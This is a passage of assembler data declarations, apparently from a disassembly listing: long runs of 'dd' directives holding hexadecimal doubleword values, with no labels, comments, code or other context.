		dd 0E400DCC5h, 4F8C56C7h, 4C3DF7Eh, 0E55B38A6h,	2DB09155h
		dd 5C460C5h, 56708203h,	0C7ED64F2h, 118CE6h, 481ED0A8h
		dd 0E9CE44E4h, 0CCB5012Ah, 0CF563801h, 0A77A1632h, 9BDC2C25h
		dd 0EEF40007h, 55C0BF40h, 2C0EB292h, 40352845h,	0C4319D54h
		dd 0E9D9038Fh, 3BE7E17Dh, 99CEC080h, 0DBF4A90Eh, 281AA047h
		dd 0EB3BA0Eh, 21EC417Dh, 0AA23B640h, 0FB090276h, 80C45CF3h
		dd 6372CA60h, 3741038Bh, 0F278CCBh, 7F3A4870h, 86B58088h
		dd 75525747h, 8E671CB2h, 1745C024h, 0C16E1E2Ch,	6B3F2100h
		dd 0F4AB580Ch, 0F1250E2Ah, 760E8C2h, 894C7BA1h,	0BE87FC00h
		dd 9E855B73h, 9FDE0067h, 0EE2FC664h, 8E06CBF4h,	4F362894h
		dd 0F7E431h, 0FF06AA6h,	0FDA4F508h, 4F168C94h, 0CBABA021h
		dd 914464h, 43AE2523h, 75E894C8h, 0C1767D16h, 9C395C49h
		dd 272D0030h, 9BBECDCh,	33245A89h, 500020E7h, 29EB9371h
		dd 74F10004h, 14A12CE4h, 0E88A4B2h, 3F4A7718h, 3F3DBA3h
		dd 1E3317FDh, 58A01A36h, 4048A8FEh, 91308094h, 0F1ED9FC2h
		dd 1C3BCC64h, 80B2A0E5h, 12F82F0h, 0E4918746h, 56E98F86h
		dd 5EE52240h, 7B00B4ACh, 0FC1DC980h, 613CE56h, 44BD0C2Bh
		dd 7F03F1DFh, 0E707881Eh, 7DA0C86Dh, 2BC4005Fh,	52A4C94Fh
		dd 2A3F05D0h, 0A078D8B6h, 0A85249EEh, 24BD9484h, 814C74EFh
		dd 98DD8DB7h, 0BB8404Fh, 0B2F09FECh, 9E3A9702h,	0C3B0ED88h
		dd 27BB906Ch, 0AEA81520h, 4A02B87Bh, 51E8A5B5h,	14000450h
		dd 291D8732h, 742FF66h,	0A950977Dh, 3DD78090h, 0C47A43A5h
		dd 157904BAh, 9083222Bh, 55DAB08h, 0AFDC20h, 0A32DDA8Eh
		dd 4D3C9423h, 0FB0CF463h, 0B0B173EFh, 0D1950041h, 3E179DCEh
		dd 3A122546h, 0C0097E9h, 0FC3CEF3Dh, 323900F3h,	0E606188Dh
		dd 6C0B3435h, 16165D37h, 0E34D00A8h, 94DBD821h,	0CCA82F10h
		dd 66FEAF84h, 0A2310B00h, 139E3250h, 587412C5h,	33C828Ch
		dd 4D2B033Ch, 0E9453FB7h, 0F5B4AE8h, 0EDD0FF54h, 1C921815h
		dd 0FD037DC8h, 60F98BC3h, 441EE50h, 22F76B8Ah, 5624C88Fh
		dd 1421613h, 8B7EBC1Ch,	0DC96699h, 3AFC90CFh, 5C65017Fh
		dd 7D6A4C3h, 7173EFD1h,	1E26417h, 505BAE01h, 0A8C43442h
		dd 0EBA000D5h, 32B41AA1h, 36017873h, 4BBA1164h,	2CD05737h
		dd 590E3946h, 3B96A80h,	4F840FD4h, 0DBA66F1Ch, 3913F680h
		dd 75A2D9BAh, 782E120Dh, 0E2CC1433h, 7FB29300h,	3698EB2Ch
		dd 57B1EC02h, 41D54D72h, 0FC40437Dh, 92C5816Eh,	0A5FB2A10h
		dd 0AC6F01C0h, 292B95BEh, 6AD851BBh, 0BCD18DB2h, 80602969h
		dd 41B660A6h, 395D98B0h, 0C610B960h, 0A975F2h, 12EEFBF3h
		dd 0DBA0925Fh, 449E611Dh, 358709Ch, 35A424h, 89C75DF4h
		dd 68DA4BC9h, 7DFBC00h,	0B05072ADh, 5FD3016Dh, 17C1EA83h
		dd 0A2B7FCA5h, 0C9AFFB00h, 0E3635DE0h, 55643C44h, 1BEB3884h
		dd 0A1E08156h, 0D875E51Ch, 0B6005E5Dh, 947A8786h, 4A7BB3Dh
		dd 0C3E26CE4h, 421B80ABh
		dd 445CCF69h, 0DF381Fh,	0E6111E23h, 39D950h, 5A6A56A6h
		dd 4B02A736h, 1BC86C00h, 5916883Bh, 6298B3h, 0D2D08B7Ch
		dd 7314032Bh, 6397CB07h, 0C0F318E7h, 0C0D6A25Bh, 0E378E0Ch
		dd 67150C13h, 63168240h, 400004A8h, 525CE25Ah, 0F4BEC9E9h
		dd 0F659011Bh, 21482519h, 1660F81Eh, 0EC4C500h,	4F3481EEh
		dd 3353E59h, 0F19DB301h, 0D88A0ADFh, 0F40025B9h, 3992C3D8h
		dd 0D55BB1h, 1FBF2FE2h,	0DB097690h, 10013200h, 73032D6Eh
		dd 12AD0069h, 0FD284A92h, 370038DFh, 3565EF23h,	1F7D4025h
		dd 0C004F37Bh, 11127E5Dh, 0B90086F8h, 0C87F03C5h, 0FFC97D5h
		dd 0FE7D89C3h, 6170A820h, 9C0BD1DCh, 87B5D476h,	4DD01A50h
		dd 18786946h, 3244B779h, 5F3AF376h, 4F5C00D1h, 7436D909h
		dd 0F013005Ah, 56CCBDFAh, 0E90021B8h, 69183895h, 0A939F4h
		dd 118F2A1Fh, 4AD225Ah,	3D69D09Fh, 2B8059D9h, 63EF24Ah
		dd 1C00453Bh, 0A4FE4F95h, 7BFFABh, 0E66BDC55h, 0D247C28Fh
		dd 1F00C4E0h, 0F51368Bh, 56D6CFCh, 78A7CCC5h, 25C1AE50h
		dd 9C6093C1h, 7500B467h, 405C8008h, 6A264BECh, 0C0005E75h
		dd 0C2467F83h, 1C69B5h,	153C21BCh, 13638B79h, 283D5Ch
		dd 1EA42DD9h, 24A2EC62h, 34162Ch, 508437Ah, 6E008980h
		dd 0D4871B9Eh, 79FECAh,	0F1487E5Ah, 0E5587F5Ch,	0B4FF2002h
		dd 605B1D67h, 39AB4E0Ch, 7734F6h, 2E8082CBh, 453EB161h
		dd 8E213500h, 956E40F1h, 58BE008Ah, 8D791354h, 2500DE68h
		dd 0D7341933h, 9C0ED67h, 0C2535DFDh, 1B631100h,	0FC9C3F9Dh
		dd 2C62B43h, 2D76F518h,	0A0A0403Ah, 20441DEh, 10F9F700h
		dd 0E9716DD9h, 8899482Fh, 8F0B9C42h, 0E4001BF5h, 201805D5h
		dd 68F03774h, 7EED18C0h, 6129C91h, 0F74EE628h, 8300A853h
		dd 363ED08Ah, 2E58B1h, 295BF025h, 85BACEE1h, 183DF12Eh
		dd 0C3E2C00h, 0EA3CC760h, 0B1BE01D9h, 7DF96790h, 7E7C4C9Ch
		dd 0AB3BEC0Ch, 0B6A0E8h, 9CFF2349h, 2E07FD4Eh, 0D560F000h
		dd 0A4F90F3Dh, 0BAA80191h, 9372CDDEh, 0D6C8CC8Fh, 0F0A12600h
		dd 8032458Eh, 0C94A096Ah, 1C8068B5h, 12789ED3h,	0E7C14C00h
		dd 0D8EB0879h, 0EDE63ED7h, 75F92500h, 0B25FEF02h, 5C725516h
		dd 33C280C0h, 256734Ah,	0C6C10A0Eh, 0B2628C96h,	7D0FB8C0h
		dd 30140B4h, 299BCF58h,	49C487E6h, 0D7781C50h, 9679004Ah
		dd 4ECB3C55h, 740C8692h, 60039CD0h, 8C890154h, 3CABEBD1h
		dd 66A7F83Ah, 0BE5E5838h, 0C05D57h, 16034652h, 0BF79E8h
		dd 0F262C80Bh, 42C12B0Fh, 18E449C1h, 0B9985733h, 0E8A950E9h
		dd 42B10B31h, 0E3F09958h, 588BF8D3h, 0AE0FD9D6h, 0CC60D9C0h
		dd 33506813h, 0C37886E7h, 74EA7FDh, 3A6CC5B2h, 181D807Ch
		dd 4030D459h, 0FEF499BDh, 4FF0009Fh, 3E944C5Bh,	90006B18h
		dd 99BBE858h, 0C0B679E1h, 0F12D9139h, 7714863Bh, 8A80ABD0h
		dd 3E93745Fh, 37C44300h, 0F67ADEE6h, 0D3D607DAh, 0FCD4EEh
		dd 241B35C2h, 0D84C900h, 486A0C92h, 5FAB30E8h, 8FCBB540h
		dd 96235801h, 7512E03h,	0E2DE7474h, 713989Eh, 0E1D230AEh
		dd 8AB70182h, 0E905F00Dh, 0F33CACF0h, 4A0A0185h, 9DB4F496h
		dd 9BF070h, 6FE3C7F5h, 2C6B3957h, 6F45548h, 0ADFF3C9Eh
		dd 99451850h, 1442D098h, 2BEDFB00h, 44C58397h, 880B03C9h
		dd 0D13C4BE4h, 0D7541801h, 615A686Eh, 0F058E8F0h, 5D213C02h
		dd 7B148A06h, 8500287Eh, 0CC6AA3C7h, 0E8ABE4ACh, 0B018C2D2h
		dd 0D8F1DF82h, 835CEC0h, 0D390073Ah, 4582E5BDh,	0A9800A4h
		dd 14866116h, 2AD40E00h, 13023A97h, 14B7D11h, 0E1D34C5Ah
		dd 9FA30152h, 0FB073430h, 41D0DA95h, 0AEF04Fh, 3A9D0B9Fh
		dd 731FC987h, 2890612Ah, 0A5AF5219h, 0C042E319h, 0DE32E69h
		dd 0A91D5770h, 99547E3Dh, 3A67C060h, 3735BE24h,	48A86516h
		dd 468785BFh, 9040731Ch, 98C0696Fh, 0C52B0556h,	0CD739DAh
		dd 6550253Ch, 4C2A7CA4h, 0EE5008E3h, 0E818B53Ch, 1019BE52h
		dd 84F5524Bh, 0DD248209h, 190C0823h, 0D5049010h, 35D01588h
		dd 49E1604Bh, 6ABC909Fh, 0C638EE60h, 3EA4C89Bh,	0DA3A4ED2h
		dd 1A7B428Ah, 0A10A89B8h, 0E4C4D85h, 60A08318h,	0FFCD3A39h
		dd 0F4649218h, 0A0535F59h, 0EA52791Ch, 39D71EE4h, 9099708Fh
		dd 6930D226h, 56881180h, 9E801D1h, 87D08C11h, 0BF84502Eh
		dd 822ED3D2h, 0D181FC45h, 9DEC4817h, 2A1109Dh, 9E4AD9C6h
		dd 30E3C400h, 181C60E7h, 0D11B0367h, 334D951h, 0C1077594h
		dd 0EF90483Ah, 5C5E9B40h, 19A0AB2Dh, 5859B478h,	1F00240Ah
		dd 79C17106h, 30102DDFh, 58A190E7h, 0A212ED1Dh,	0C8021680h
		dd 0A1B3630Ah, 970FDF84h, 0C03367D0h, 13A38270h, 9002C010h
		dd 0BCC2C650h, 7C5F0598h, 0C683BF40h, 40408668h, 0D43D567Eh
		dd 0DD1960E3h, 78096051h, 480C8386h, 213F87D1h,	4154AA18h
		dd 0BC52CD70h, 4D3C212Fh, 3A388C14h, 0ECB508D8h, 0D3911C88h
		dd 921AFF13h, 1040B0DDh, 28842C62h, 210CD530h, 71083F16h
		dd 271242EEh, 3C09AC23h, 0B9899F49h, 0B8A5D270h, 0DAD105F5h
		dd 9CD6C057h, 8D219D0h,	9392FCD0h, 0DC2D0048h, 6DC0C1EFh
		dd 0EC50B76Bh, 0F00D7B4h, 35029353h, 15E3CD2h, 4CFDED83h
		dd 30E9B714h, 306C6954h, 8CBD78D8h, 7E483604h, 0EF62EC58h
		dd 48CFA02Fh, 0C33023h,	0AF340850h, 43CA490h, 0DCFE58C2h
		dd 2525DC1Ah, 9966B048h, 845AE11h, 127E0400h, 0F8E58636h
		dd 0DD5F5919h, 2180FC08h, 0A41261CDh, 95019089h, 110A6D58h
		dd 0BBE05256h, 6F0D029Eh, 91EB9255h, 0AB3DD8A0h, 0B01C582h
		dd 180779A8h, 2BD17698h, 0F8DB219Fh, 8E06D480h,	0D96E21C1h
		dd 0FCB25606h, 465185F5h, 828402A7h, 31A00BBAh,	7BDC109Fh
		dd 0F2260082h, 81F6753Dh, 0E358CA52h, 500B383Ch, 1F0067BCh
		dd 34B021EAh, 1ADB11h, 5260DCD1h, 0BDE7358Eh, 9BE3541Eh
		dd 9545D300h, 777D663h,	661DFF6Dh, 0AAF7800Ch, 2007A23h
		dd 58459EDFh, 0E74F20Bh, 8453EF72h, 5324B6E7h, 86F07BB1h
		dd 833FCBACh, 0FAAB8365h, 0E0154CC5h, 809001h, 0FBDCF95Ah
		dd 0B4D74DFEh, 0ED96B700h, 698B9208h, 4CD175A5h, 0BE039239h
		dd 0B19976A8h, 25642AC0h, 4BA6BB07h, 0D540AA02h, 0AB4352h
		dd 26C3C9C5h, 328F9DC1h, 2000EC7Ah, 7DE58915h, 0E6C6439h
		dd 9E88C6F8h, 68007B8Fh, 5A98600Ah, 6F00117Fh, 49F46593h
		dd 1DDDE10Ch, 3D10636h,	0F65844B0h, 68B3DBA0h, 0E1476B06h
		dd 3F5096E6h, 0EF44E88Ch, 8008F76Fh, 18E2BDCDh,	93F10010h
		dd 5F8A3178h, 743C3214h, 29073067h, 3E814076h, 780E34h
		dd 4477752h, 36C758FEh,	0E0B3FC3Ch, 7A30D6B9h, 0E4A90079h
		dd 0E2CA321Dh, 0D7008823h, 0D63E6029h, 0C0FAD833h, 0CB57C559h
		dd 0D00078B8h, 95E02871h, 94CE4Ah, 0CD3FE37Bh, 0C8532D06h
		dd 6063EE37h, 4F4544C0h, 4EE806DFh, 909EA9Ch, 24217160h
		dd 0E44FA0h, 6ED243D3h,	0EA76FFA4h, 0FC31A1C7h,	0E57BDFC0h
		dd 0F7840075h, 7756F5BCh, 1360D81Ah, 0DC986CE0h, 81B000CAh
		dd 79F947DBh, 2E8482Bh,	0A4F2B9C0h, 0F5F0BCBh, 83C71011h
		dd 0C85259A0h, 0A61C25C6h, 4381A1D0h, 34E326FBh, 5E8DEECh
		dd 0A879C8Eh, 0E5C443F7h, 9903768Fh, 0A905175Ah, 77900798h
		dd 47B71A37h, 81B15470h, 0F0B814h, 0ECFD6364h, 0A1D8074Ch
		dd 116C8AAEh, 0AF49349Eh, 300D7C38h, 1A790F60h,	3E88E50h
		dd 3516EC00h, 1F558AA9h
		dd 0F82C50D0h, 154520EEh, 0C8871805h, 2038CCBBh, 248A4673h
		dd 824024EEh, 2BDF301h,	0B69533A8h, 0B5804376h,	92E34D23h
		dd 81387B12h, 67C54020h, 2ECC00C2h, 15B3A212h, 237E28BBh
		dd 0E3FB9112h, 8D8D1C0Eh, 79F03152h, 1A023EE1h,	0F3D1D401h
		dd 0CC570753h, 30003177h, 6469486Ch, 0A8EFE043h, 359BA8h
		dd 0FF09D138h, 27F6FCAFh, 6094AC4Ch, 391D2A21h,	0B1121378h
		dd 0C98300D7h, 0E88438E3h, 4C794660h, 3A3F692h,	0E5D1C435h
		dd 0BBAA1F0Dh, 18341849h, 4ACA04DEh, 32482B81h,	0C6B82007h
		dd 177383CAh, 4B874502h, 80A7D30Dh, 2E4FEB20h, 74C34953h
		dd 0D462B28Fh, 0FC33E6E8h, 445985Fh, 1B07FECDh,	0DDE62A3Ah
		dd 9176D440h, 6EA4A913h, 9EC88C4Bh, 71368EC0h, 2A6E6022h
		dd 0C4080D4h, 6A85F30Eh, 151AC686h, 12C946B0h, 740A4F5Ch
		dd 6B4458B6h, 4FB74940h, 0DF009403h, 4DE92C9Bh,	7B47485h
		dd 635C23FFh, 306F51ACh, 3030A153h, 87185A71h, 2DC54800h
		dd 0A0943551h, 1FEC120Dh, 0E59401BFh, 22CC4F23h, 0C6E3A2Ch
		dd 11FB7CBAh, 0ABD50F8Ch, 8BC00E35h, 8ABCE768h,	2100DBE9h
		dd 77ABCDB3h, 21E4DE5h,	0D68DA25Bh, 0E0805AA5h,	8F3F912Ah
		dd 354D1490h, 4979012Ch, 24760C22h, 3E3E3830h, 0FB0DC56Dh
		dd 0B98D6Fh, 81F042DCh,	0A51248F4h, 4448E031h, 12B8A4FCh
		dd 30406349h, 0FCD840FDh, 2BC71C83h, 76ADE518h,	28579h
		dd 15217897h, 0C3D4E6CCh, 7DAB0D04h, 0E8807172h, 0A9A729h
		dd 0FA3970DDh, 370B4F48h, 83CEFC3Fh, 0AC1A85E8h, 4B404CECh
		dd 0B86F6072h, 0D10B4797h, 0C8E0F900h, 0E3733874h, 377B263Bh
		dd 809E11D4h, 0E8D94F5Fh, 77448C5Eh, 20A26056h,	72C69E5Dh
		dd 4DAD0B0Ch, 13F8C09Dh, 727168DAh, 1098150h, 68793028h
		dd 0E40E4880h, 8AD3FFC5h, 78032098h, 0FD3211F6h, 6BD088B3h
		dd 10949B55h, 0C220439Ch, 1914F11Bh, 9F4420F9h,	4F463E8Ch
		dd 2246E1BAh, 494B0178h, 602A894Fh, 0D1A3C03Bh,	8AF4B44Ch
		dd 0D45F047Bh, 0A42520B0h, 7C342189h, 0DB018DBCh, 0CF7A3029h
		dd 79393004h, 80805D3Ah, 637B67B1h, 88E141FFh, 36435100h
		dd 5681AEAFh, 4E0300C0h, 0A8975A0Ch, 0FF18EF95h, 4796207h
		dd 28777959h, 0F244735Fh, 995700F6h, 0F5AC794Ah, 59C08CE1h
		dd 5C0C263Bh, 0F7BF8DBh, 360BBAD7h, 6C918EC0h, 6661FA2Dh
		dd 690E8D98h, 0FF5196h,	176EF948h, 0F4608115h, 3AABBE19h
		dd 0C3E73EDDh, 0D4219380h, 0F854B477h, 0F87BCB26h, 2CABD060h
		dd 8ABC210Eh, 7D8891h, 0FF34ABC7h, 99C16A81h, 0D800A0A3h
		dd 58DD5A27h, 625A32Ah,	9D6A7247h, 347E2085h, 34C0F829h
		dd 0E334830h, 4434A4D4h, 9F01B182h, 9CC591ABh, 9472E087h
		dd 152ABD48h, 888C5C90h, 0D0AFD4CBh, 0C5ADC280h, 0C6A0C817h
		dd 800CAB6h, 26FB499Bh,	3B62A504h, 2E99887h, 45296010h
		dd 88C6D00Ch, 0FC951F5h, 184A93AAh, 505C58F7h, 325D7D66h
		dd 97116150h, 885DEC6h,	0CDC8458h, 0E2184748h, 88289DF1h
		dd 0A621970h, 0F5F4D2h,	72E7227Ch, 911F08EDh, 9A571A01h
		dd 61EEA9FFh, 65CB9980h, 24458CC8h, 0C774B902h,	0EB09D041h
		dd 0B025F850h, 9DE092h,	39879EA2h, 67D1D05Fh, 7BA19766h
		dd 806C5479h, 1D98C046h, 0FFED048h, 84892512h, 3019F892h
		dd 4110CAD9h, 0B9E0C381h, 3912CAC1h, 0CCC8F01Bh, 24681F7Ch
		dd 40725CC4h, 54D15CDEh, 400F077h, 3D433755h, 0AB218FDh
		dd 0E6674076h, 45C83438h, 40900CD4h, 797A9180h,	32E00166h
		dd 1967EF33h, 549DF8FFh, 0EC643C96h, 0A4106449h, 0ABCBC07Ch
		dd 43740E37h, 84228Bh, 0DEABC3BDh, 9E8FA67Dh, 0BC91FF75h
		dd 0A80A243Ah, 7481E344h, 7708FDD1h, 43D32500h,	4608EB40h
		dd 80A496E0h, 0E860BC2Ch, 5105C5D6h, 0A3295D77h, 320EC442h
		dd 89022474h, 83D4073Ch, 11148908h, 10D4A234h, 0E22C4B1Eh
		dd 0E75F85A4h, 30BC52E3h, 8126C210h, 33C04707h,	5F40370Ch
		dd 31B27051h, 0DCC863A9h, 0E14C10F9h, 0C039DD8Eh, 0ED70CDD8h
		dd 9372DCB2h, 23462B25h, 0B3E1D4h, 72EDAE29h, 2116E01Bh
		dd 0E2D6D004h, 5CE175CBh, 581A0F8h, 0F419EB49h,	1C9012FFh
		dd 0B0A1226Ch, 3C001595h, 59E401F0h, 8AA00656h,	6987B2E5h
		dd 295BEE30h, 0F22FB348h, 58AEA77h, 6646E4D6h, 23F03B74h
		dd 9A51F82h, 1C10EE0Bh,	563F5B5Fh, 7C0738EAh, 87196660h
		dd 0C1416Dh, 19971EE5h,	9525634Dh, 0C43EF500h, 7D34053Dh
		dd 6909316Ah, 80E081E8h, 0D5184269h, 0DD86C9h, 0E880FA4Ch
		dd 16B2B350h, 618AEE30h, 13BC4F9Ah, 6FCB95DDh, 483238Ch
		dd 88D64303h, 7008604h,	0BA2189E3h, 1B2CB5Dh, 0FC9EAB19h
		dd 50F6EE7Eh, 0A48A28C8h, 37900300h, 5DA13C87h,	0DF9609FCh
		dd 20A3DE7Eh, 6913F8E4h, 60D079E5h, 0A4EC398Ch,	1B3007ECh
		dd 82C13518h, 5440149Ch, 6FECBE10h, 1D5A713h, 50ED2C4Eh
		dd 23BFC44h, 6E8AAEA6h,	7890C6F8h, 3111ABD1h, 8488C40Eh
		dd 0ABC82780h, 40E2B4h,	924FEA96h, 0BC4E83F6h, 63D1F400h
		dd 2216D5E7h, 5D6F24FFh, 59B34038h, 11C060EEh, 0D84DF184h
		dd 4CB60094h, 79AC979Ch, 0E74295Ah, 0A477362Ch,	0AD66D400h
		dd 0CF65EE40h, 6DE01139h, 8E051EBFh, 7297A207h,	4741B833h
		dd 54341BE1h, 5C289C6Dh, 13CD18FFh, 0C1DDB28Bh,	819EA090h
		dd 0D9A9FD08h, 8CD0FC2Bh, 928B10Bh, 0F080D05Eh,	30D69EBDh
		dd 0C01621C8h, 0A40E2BD8h, 60918A01h, 0F6E58BE4h, 0CC708415h
		dd 584E89Ch, 7D733C71h,	0ABAC00B3h, 93F1A8B0h, 0EECEAA01h
		dd 0D758474Ah, 40322460h, 35F87974h, 0C1F66E13h, 0D6420407h
		dd 798044FAh, 2174D9E9h, 0B5A71215h, 0F0F490F4h, 20F3CEBDh
		dd 0FB196704h, 2639EC6Fh, 0F66D8420h, 0AE5E0055h, 0DE321546h
		dd 1602ECE8h, 85F5C56Bh, 23A4319h, 13352658h, 9892Ch, 0BE5E6D80h
		dd 0DEE4A062h, 867B0725h, 811DE8ADh, 431C16C1h,	0D081EB24h
		dd 1EC0209Eh, 0DB38E00Ah, 3401833h, 0DFFAE12h, 0FCE1094Eh
		dd 493BC4C1h, 3EB4E700h, 55D0B042h, 81C000FDh, 6D96519Bh
		dd 0A416E583h, 588070F9h, 3DE15FC2h, 149E211Ch,	0FAFD419Eh
		dd 0CA64F185h, 0B811006Bh, 620590F6h, 51769ACh,	4075F493h
		dd 3D67E89Ch, 11D672B9h, 1060580Ch, 0F0AC70A1h,	4EC2467h
		dd 0F65880D0h, 6A413B7Eh, 26590102h, 0C3444234h, 6767B4F0h
		dd 0BB81C1CAh, 0C0110C48h, 0CAC0CE21h, 0DC09DFB4h, 1B161412h
		dd 0A556B8A8h, 239E004Fh, 253B2732h, 5F14E165h,	48440C71h
		dd 0DACDC0BCh, 0B3424C0h, 0E187C6FFh, 41779498h, 803C7C4Ch
		dd 0DB784AD7h, 4A505C0Eh, 40E75C16h, 0CAF62538h, 0C8A0C6E4h
		dd 8954B3E5h, 0D7DDB88h, 90860098h, 0DD655B38h,	77B9002Ch
		dd 9E03CDC7h, 0EEFF186Fh, 9DD52959h, 0E4C05A00h, 0BEB28440h
		dd 14E2078Eh, 0B0AEE8FAh, 0EF794AB5h, 0C98F9000h, 0F3A52A2Dh
		dd 0C2090729h, 0C575087Ah, 0DB6489E1h, 455BB7D0h, 0B814BC00h
		dd 95D85427h, 3EDE0A37h, 15D48FFAh, 0ED04B015h,	0C8EF8A0Dh
		dd 8F00D5ACh, 0ABC5E5FFh, 0F953280h, 0B40A87E0h, 0F33B1020h
		dd 685CCF1Eh, 0B19E0294h, 20746AFBh, 8872E62Ah,	99EE0212h
		dd 92535840h, 5314919Eh, 5401B03Ah, 0A1B5B91Dh,	4F7AC047h
		dd 1760E100h, 0E9D7EB6Fh, 71121DECh, 0C8DF402Ch, 0D914C93Bh
		dd 0F8936300h, 6CE57BD0h, 1C477856h, 40CEBB4Eh,	9F44570h
		dd 6B00C725h
		dd 85DFE63Eh, 1D22F8AEh, 41BA492Ch, 1F2E0E7Fh, 0C067DC66h
		dd 88177500h, 87635E91h, 7650012h, 985F823Ch, 0B27F93F8h
		dd 0DB449F00h, 7BD48BA4h, 0E33F002Eh, 9575B60Ch, 8E00572Fh
		dd 4E0918B1h, 0FB3A2F7h, 2411326Bh, 0C28188E0h,	0F5E6EF65h
		dd 4EFAAE00h, 7DE5FD3Ch, 57FB18A5h, 91E9D18Bh, 0F58608C7h
		dd 4F0B1660h, 551B00CAh, 0DB133BE8h, 5C039D4Bh,	66E7AEEBh
		dd 8AD81F86h, 0A94A4180h, 0C4346D52h, 0BA008B87h, 0B39F0B72h
		dd 30F00C90h, 830EAE7h,	99012757h, 5AEDD5F8h, 10EC9230h
		dd 49110050h, 0C7F6BE3Ch, 64F69D2Bh, 804AC801h,	0AB1DC6Fh
		dd 0A1B5E543h, 20813F97h, 2B4BE3A9h, 5B0C86Fh, 1C28DB00h
		dd 55221F92h, 0A1881C11h, 2BC440AEh, 3EF28AA6h,	16D38C9h
		dd 384F89C7h, 8F1B2886h, 72401896h, 0C3AC4033h,	3C4A89C1h
		dd 4C50F768h, 23E24BFAh, 8B11CD47h, 4BF5AB00h, 0A6BCD65Fh
		dd 9EE7CFF6h, 7780C418h, 7F4839BDh, 98F10C75h, 93B810D2h
		dd 4E54AF33h, 0BDB000D3h, 1DF735E6h, 3F33684Bh,	0F20924h
		dd 35FF5DD1h, 0C0F65CA2h, 3A693EC7h, 219976h, 6F6694EBh
		dd 2ADA73E8h, 0D3209605h, 0B43B5562h, 0E5009223h, 2106EF28h
		dd 38593CF2h, 29BC5280h, 98877FD2h, 2B0CFC7Fh, 107D5E28h
		dd 4C040097h, 0CE672405h, 0C73F6B37h, 0F4DEBC53h, 0DAFA6900h
		dd 75EAE062h, 49C8004Dh, 0D5A82F43h, 9AF0F9E3h,	1D5C353Dh
		dd 21407F74h, 8591567Bh, 8FD0096h, 0BAC5D736h, 6012BBE2h
		dd 6303D9FEh, 0E09B06E9h, 1F1D2155h, 620B97h, 7BA7CE7Ch
		dd 0E301166Eh, 8F6B8C8Dh, 9570A077h, 620100A1h,	0F58F19Bh
		dd 0B3001C5Ch, 0A37C8FE4h, 0E64CE861h, 8AA200BEh, 0AAEE2AB1h
		dd 100076Eh, 0A85C384Ah, 9E3476h, 465BEDDEh, 0B9728B1Ch
		dd 0D8BE5800h, 0FB26988Ch, 0C304ADF1h, 4843BF30h, 727C804h
		dd 0C0D7CE5Ch, 682B4E37h, 46E3644h, 0F18D0B6h, 1C270A24h
		dd 0DC18A110h, 0BEE7085Ah, 0F3200782h, 0FE4C14C0h, 0C3CF0619h
		dd 99070530h, 50092B6Dh, 30F33400h, 144CA1D7h, 786869BAh
		dd 8B580A58h, 898F1B1Ch, 9A50100Fh, 0D1509499h,	29604210h
		dd 4A108A7h, 1AFE7033h,	813198F0h, 9EF6406h, 882B0B2Bh
		dd 8B433F83h, 13082A30h, 0E2348B0Ch, 0B04C8616h, 40705318h
		dd 8150A578h, 0D2E94F98h, 2286E046h, 35173305h,	700EF590h
		dd 8A64A195h, 0F0F8318Eh, 0FC09D07Ah, 0EB040BADh, 0D1318F3Fh
		dd 48B0EA10h, 0A600AFB4h, 0AA16210Dh, 4D238A0h,	0FFCCF4A2h
		dd 3B81202Eh, 0B9F9044Dh, 41241555h, 18529A5Dh,	69C23898h
		dd 1892ECB3h, 0DCA21F18h, 3F8F49h, 5ECF911Ah, 1E750194h
		dd 3278F112h, 6E3C9C4Fh, 0A4207299h, 0FC54726h,	3BC1CDA4h
		dd 6951CA66h, 59301AE8h, 63F448C0h, 7B2F0077h, 20A6B8Eh
		dd 0C74D717h, 0A22C1C74h, 8B003A7Dh, 0F2509DB1h, 2B9B2625h
		dd 5782812Ch, 0D0810587h, 10C1B97Ah, 94B3BE91h,	4899A025h
		dd 0E0B809BDh, 1200E2EEh, 0E84519D3h, 1B0D49h, 169A9724h
		dd 62F37ED1h, 9DD42D00h, 0A2B91A99h, 5240026Eh,	0BA043226h
		dd 116F90A0h, 0AA50336Ah, 5F33228Ch, 0E289E9E8h, 0DB346057h
		dd 0AC543047h, 3F678689h, 1691A307h, 789C185h, 19C0579Ch
		dd 0A8175440h, 18F9B0B8h, 11624773h, 88A0FA0Ch,	0A5719C9Dh
		dd 3F958D00h, 61308F0Fh, 279E0607h, 68824740h, 80C57081h
		dd 0A0891108h, 8DB80Ah,	8F65B08Ah, 5C5A6EF5h, 78559112h
		dd 0A3010406h, 0CE9D0321h, 0E89A25F0h, 0A7EA1CEh, 85ACBE50h
		dd 9094A980h, 0DA2E00F8h, 8DC13EAAh, 80029C66h,	17BDA799h
		dd 74252528h, 0A0B001A8h, 0E02785ABh, 0DB5CB096h, 973854DDh
		dd 9F9DC1C0h, 52B6EA16h, 6B8FB833h, 80A1C870h, 8A6F2D76h
		dd 10032CDBh, 0D0BE8670h, 9B7F885Fh, 4B301AEh, 278FC90Ch
		dd 0BEE0BD6Fh, 51586148h, 0A4461B92h, 9F48310h,	7F3DC5D0h
		dd 6377A180h, 53789511h, 0A63F1D1Dh, 7589C8B0h,	0D41B0E81h
		dd 7A80E2E8h, 0B33C2EA3h, 863461C4h, 149D1307h,	0E6C092FEh
		dd 0BECE9082h, 8A08B808h, 843915F5h, 8872580Eh,	3318BD82h
		dd 3D8A4A8h, 45B1F2D1h,	6EC98A0h, 9F448CAEh, 0C94610D8h
		dd 0C9B26A4h, 502F8E43h, 0C2F21C81h, 234B47E8h,	0AFA3304Eh
		dd 23882944h, 9BD90614h, 228D204Ch, 0C0CC4B17h,	0C0DBF199h
		dd 4ADEBD29h, 0AA0151A8h, 9ACC2D1Bh, 0E82019B1h, 0D41A165Eh
		dd 0ED8C3017h, 0E30986D1h, 11D2B3ABh, 29908178h, 0C9158172h
		dd 3C418BB6h, 8820C11Ch, 58D7541Ah, 0FFB92422h,	0E79B0AB0h
		dd 53A44048h, 0F0A09042h, 241D2C0Ah, 0EA4094FFh, 0AFE3F308h
		dd 905C308Dh, 0A70B4BB0h, 9C80D600h, 6D509FFAh,	0ACD0008Ah
		dd 47CCFD65h, 1207E974h, 0DF920851h, 2036FCD0h,	911F046h
		dd 0EE171BCCh, 80FFB587h, 0BFD2D112h, 753040FAh, 8CEE390Fh
		dd 0A85F1E87h, 58012005h, 4188C044h, 67D8E257h,	3DB271CAh
		dd 0B0801977h, 0B547D411h, 0F267C50Eh, 48B35158h, 1FF0C3F7h
		dd 7EB18811h, 0EC99B306h, 0C70181A3h, 730DBFBAh, 3E6B450h
		dd 0F4A14183h, 6C8AE0B5h, 5E5710C0h, 0CCCC74Ch,	0C8EEE3Fh
